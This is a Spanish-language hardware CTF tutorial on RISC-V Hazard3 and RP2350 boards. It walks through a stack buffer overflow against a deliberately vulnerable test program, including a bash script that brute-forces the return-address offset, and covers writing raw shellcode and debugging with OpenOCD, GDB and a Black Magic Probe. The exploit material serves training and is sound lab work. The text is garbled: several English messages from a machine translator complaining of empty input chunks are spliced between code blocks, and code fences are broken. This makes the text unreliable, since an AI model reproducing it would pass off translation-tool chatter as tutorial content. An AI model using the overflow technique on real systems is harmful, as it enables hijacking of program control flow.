argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140
Como puedes ver, desbordamos exitosamente el búfer y controlamos el contador de programa (pc) para que apunte a 0x41414140, que corresponde a 'AAAA' en ASCII.
Ahora creemos el payload de exploit PoC de CRAP para redirigir la ejecución a la función func_impossible.
Para crear el payload del exploit, necesitamos determinar el offset correcto para sobrescribir la dirección de retorno y luego añadir la dirección de la función func_impossible.
xpl.sh``` #!/usr/bin/env bash
set -e
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..." $CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..." FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then echo "[-] Error: Could not get func_impossible address" exit 1 fi
echo "[+] func_impossible address: $FUNC_ADDR"
ADDR_DEC=$((FUNC_ADDR)) BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF))) BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF))) BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF))) BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \x$BYTE1 \x$BYTE2 \x$BYTE3 \x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100" exit 1
Ejemplo de salida después de ejecutar xpl.sh```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21
[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!
[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
hexdump -C exploit_payload.bin``` 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
El script `xpl.sh` es un POC CRAP que fuerza bruta con éxito el offset necesario para alcanzar la función `func_impossible`. Puede que necesites modificar o adaptar el exploit para ajustarlo a tus requisitos específicos.
# Payload / Escritura de shellcode RISCV Hazard3
Esta sección demuestra la transición desde código C de alto nivel hasta shellcode de instrucciones en bruto para el núcleo Hazard3 RISC-V. Comenzaremos con un proyecto estándar del Pico SDK y eliminaremos progresivamente las abstracciones hasta poder ejecutar código máquina en bruto desde un array de bytes.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
(no content provided)```
cd && mkdir ~/PAYLOAD
No se proporcionó contenido para traducir.```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
Configure el proyecto específicamente para el RP2350 usando la arquitectura RISC-V. Tenga en cuenta que definimos las versiones de la plataforma y de la cadena de herramientas para garantizar la compatibilidad.
Archivo: `~/PAYLOAD/CMakeLists.txt```` set(PICO_PLATFORM rp2350-riscv) set(PICO_BOARD pico2 CACHE STRING "Board type") set(sdkVersion 2.2.0) set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc poc.c )
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1) pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
## Un archivo C simple
Comenzamos con un programa C simple que conmuta un GPIO. Esta versión depende de funciones SDK externas.
Archivo: `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"
static void __attribute__((optimize("O0"))) onled(void) {
gpio_put(25, 1);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Compila el proyecto e inspecciona el binario resultante.``` cd ~/PAYLOAD/ rm -rf build/ && cmake -S . -B build && make -C build -j
Archivo: `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
Si revisamos el desensamblado, podemos ver cómo el compilador maneja las llamadas a funciones.
Archivo: `~/PAYLOAD/build/poc.dis```` .... 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 2031 jal 10000146 <gpio_put> 1000013c: 0001 nop 1000013e: 40b2 lw ra,12(sp) 10000140: 4422 lw s0,8(sp) 10000142: 0141 addi sp,sp,16 10000144: 8082 ret .... 10000146 <gpio_put>: 10000146: 28a01533 bset a0,zero,a0 1000014a: d00007b7 lui a5,0xd0000 1000014e: c199 beqz a1,10000154 <gpio_put+0xe> 10000150: cf88 sw a0,24(a5) 10000152: 8082 ret 10000154: d388 sw a0,32(a5) 10000156: 8082 ret ....
## Un archivo C con código asm (sin llamada externa)
Para crear un payload independiente, debemos evitar saltos externos. Reescribimos la función usando ensamblado en línea para interactuar directamente con los registros del hardware.
Archivo: `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
__attribute__((naked, optimize("O0"))) void onled(void) {
__asm__ volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Ahora el desensamblado muestra que la función ahora es completamente autocontenida:
Archivo: `~/PAYLOAD/build/poc_with_asm.dis```` 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 28a01533 bset a0,zero,a0 1000013e: d00007b7 lui a5,0xd0000 10000142: c199 beqz a1,10000148 <onled+0x1a> 10000144: cf88 sw a0,24(a5) 10000146: a011 j 1000014a <onled+0x1c> 10000148: d388 sw a0,32(a5) 1000014a: 0001 nop 1000014c: 40b2 lw ra,12(sp) 1000014e: 4422 lw s0,8(sp) 10000150: 0141 addi sp,sp,16 10000152: 8082 ret 10000154: 0001 nop
## Un archivo C con código de payload / estilo shellcode
Extrae los opcodes a un array de bytes y ejecútalo casteándolo a un puntero a función.
Archivo: `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
unsigned char payload[] = {
"\x41\x11" // 1141
"\x06\xc6" // c606
"\x22\xc4" // c422
"\x00\x08" // 0800
"\x85\x45" // 4585
"\x65\x45" // 4565
"\x33\x15\xa0\x28" // 28a01533
"\xb7\x07\x00\xd0" // d00007b7
"\x99\xc1" // c199
"\x88\xcf" // cf88
"\x11\xa0" // a011
"\x88\xd3" // d388
"\x01\x00" // 0001
"\xb2\x40" // 40b2
"\x22\x44" // 4422
"\x41\x01" // 0141
"\x82\x80" // 8082
"\x01\x00" // 0001
};
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
((void (*)(void))(void*)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
Después de compilar, podemos verificar que el payload está correctamente mapeado en memoria
Archivo: `~/PAYLOAD/build/poc_payload_asm.dis```` 20000e74 : 20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..( 20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@ 20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
# Depuración de hardware
Uno de los desafíos requiere que te asocies con otro participante o que tengas dos placas RP2350 para hacer depuración de hardware real; aprendamos cómo hacerlo.
(Necesitas tener pico-sdk instalado)
/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
/etc/udev/rules.d/99-openocd.rules```
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev" KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
I'm ready. Please provide the actual chunk content to translate.```
sudo udevadm control -R
Primero, necesitas flashear un firmware RISCV .uf2 en la placa objetivo. Como el CTF utiliza firmware RISCV, este paso no es necesario. Y además, ¡quieres depurar ese firmware!
Convierte una placa RP2350 en una placa depuradora de hardware con este firmware: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
Conecta la placa depuradora de hardware a la placa objetivo

Conecta RISCV-openocd``` cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
The input chunk appears to be empty. No text was provided after "INPUT:". Please re-send the chunk content so I can translate it.```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd \
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts \
-f interface/cmsis-dap.cfg \
-f target/rp2350-riscv.cfg \
-c "set USE_CORE { rv0 }" \
-c "adapter speed 5000" \
-c "gdb breakpoint_override hard" \
-c "init"
I don't see any content to translate in the input. The chunk appears to be empty—there's nothing between "INPUT:" and "Output:". Please provide the actual Markdown content for chunk 153 so I can translate it.``` Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : [rp2350.rv0] Hardware thread awareness created Info : [rp2350.rv1] Hardware thread awareness created ocd_process_reset_inner rv0 adapter speed: 5000 kHz force hard breakpoints Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729 Info : CMSIS-DAP: SWD supported Info : CMSIS-DAP: Atomic commands supported Info : CMSIS-DAP: Test domain timer supported Info : CMSIS-DAP: FW Version = 2.0.0 Info : CMSIS-DAP: Interface Initialised (SWD) Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0 Info : CMSIS-DAP: Interface ready Info : clock speed 5000 kHz Info : SWD DPIDR 0x4c013477 Info : [rp2350.rv0] datacount=1 progbufsize=2 Info : [rp2350.rv0] Disabling abstract command reads from CSRs. Info : [rp2350.rv0] Disabling abstract command writes to CSRs. Info : [rp2350.rv0] Core 0 could not be made part of halt group 1. Info : [rp2350.rv0] Examined RISC-V core Info : [rp2350.rv0] XLEN=32, misa=0x40901105 Info : [rp2350.rv0] Examination succeed Info : [rp2350.rv1] datacount=1 progbufsize=2 Info : [rp2350.rv1] Disabling abstract command reads from CSRs. Info : [rp2350.rv1] Disabling abstract command writes to CSRs. Info : [rp2350.rv1] Core 1 could not be made part of halt group 1. Info : [rp2350.rv1] Examined RISC-V core Info : [rp2350.rv1] XLEN=32, misa=0x40901105 Info : [rp2350.rv1] Examination succeed Info : [rp2350.rv0] starting gdb server on 3333 Info : Listening on port 3333 for gdb connections Info : Listening on port 6666 for tcl connections Info : Listening on port 4444 for telnet connections
Ahora conecta RISCV-GDB:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q \
-ex "set pagination off" \
-ex "set remote interrupt-on-connect off" \
-ex "target remote localhost:3333" \
-ex "monitor targets rp2350.rv0" \
-ex "monitor halt" \
-ex "info reg"
The input chunk is empty — there is no Markdown content to translate. Please provide the actual content for chunk 157 of 179.``` Remote debugging using localhost:3333 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x20001d56 in ?? () rp2350.rv0 halted due to breakpoint. rp2350.rv1 halted due to debug-request. ra 0x2001041c 0x2001041c sp 0x20010400 0x20010400 gp 0x20031455 0x20031455 tp 0x0 0x0 t0 0x2000d7ba 536926138 t1 0x6a8c 27276 t2 0x200103a0 536937376 fp 0x20082000 0x20082000 s1 0x20010450 536937552 a0 0x0 0 a1 0x7232 29234 a2 0xffa00000 -6291456 a3 0x7206 29190 a4 0x0 0 a5 0xbdf0 48624 a6 0x7750 30544 a7 0x1 1 s2 0x10000036 268435510 s3 0x0 0 s4 0x0 0 s5 0x0 0 s6 0x0 0 s7 0x0 0 s8 0x0 0 s9 0x0 0 s10 0x0 0 s11 0x0 0 t3 0x200103d4 536937428 t4 0x0 0 t5 0x6b0c 27404 t6 0x74f8 29944 pc 0x20001d56 0x20001d56
Desensambla 10 instrucciones desde el pc actual usando x/10i $pc:```
(gdb) x/10i $pc
=> 0x20001d56: lui a5,0x20031
0x20001d5a: lbu a5,-931(a5)
0x20001d5e: .insn 2, 0x9fe1
0x20001d60: xori a5,a5,1
0x20001d64: .insn 2, 0x9fe1
0x20001d66: bnez a5,0x20001d54
0x20001d68: li a0,2000
0x20001d6c: jal 0x20004ce2
0x20001d70: nop
0x20001d72: li a5,1
Desde este punto puedes depurar el chip.

Compra Black Magic Debug Probe: con cable JTAG, cable UART de 0.1" y adaptador de 20 pines:
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
ACTION!="add|change|bind", GOTO="blackmagic_rules_end" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess" LABEL="blackmagic_rules_end"
I don't see any content to translate in the input. The chunk appears to be empty.```
sudo udevadm control -R
Actualización:
Black Magic Debug para BMP (objetivos RISC-V):```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0
✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets)
✔ What action would you like to take with this firmware? · Flash to probe
Downloading requested firmware Found: Black Magic Probe 1.10.2
Serial: BEF6A9B0
Port: 1-3
Erasing flash...
Flashing...
100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
I didn't receive any source text to translate. Please provide the chunk content.``` cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
[No content provided in the INPUT section. Please paste the Markdown chunk you wish to have translated.]```
./bmputil-cli probe info
Found: Black Magic Probe 2.0.0
Serial: BEF6A9B0
Port: 1-3
No se proporcionó contenido en la entrada para traducir.``` ./bmputil-cli probe update Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present [2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
[No input text provided to translate.]```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
[No content provided in the INPUT section.]``` (gdb) target extended-remote /dev/ttyBmpGdb Remote debugging using /dev/ttyBmpGdb (gdb) monitor auto_scan Target voltage: 3.3V JTAG scan found no devices, trying SWD! Available Targets: No. Att Driver 1 RP2350 rv32imac 2 RP2350 rv32imac (gdb) attach 1 Attaching to Remote target warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x100000aa in ?? () (gdb) x/10i $pc => 0x100000aa: addi a1,a1,4 0x100000ac: addi a2,a2,4 0x100000ae: bltu a2,a3,0x100000a6 0x100000b2: ret 0x100000b4: addi a3,sp,128 0x100000b6: addi s0,sp,32 0x100000b8: unimp 0x100000ba: fld fs0,0(s0) 0x100000bc: sw a3,96(a5) 0x100000be: jal 0x100000be (gdb) c Continuing.
# Más documentación
- https://docs.riscv.org/reference/isa/
- https://github.com/riscv-software-src/riscv-isa-sim
- https://www.cs.sfu.ca/~ashriram/Courses/CS295/assets/notebooks/RISCV/RISCV_CARD.pdf
- https://github.com/Wren6991/Hazard3
- https://datasheets.raspberrypi.com/rp2350/rp2350-datasheet.pdf
- https://datasheets.raspberrypi.com/pico/getting-started-with-pico.pdf
- https://datasheets.raspberrypi.com/pico/raspberry-pi-pico-c-sdk.pdf
- https://www.raspberrypi.com/documentation/pico-sdk/index_doxygen.html
- https://github.com/raspberrypi/pico-examples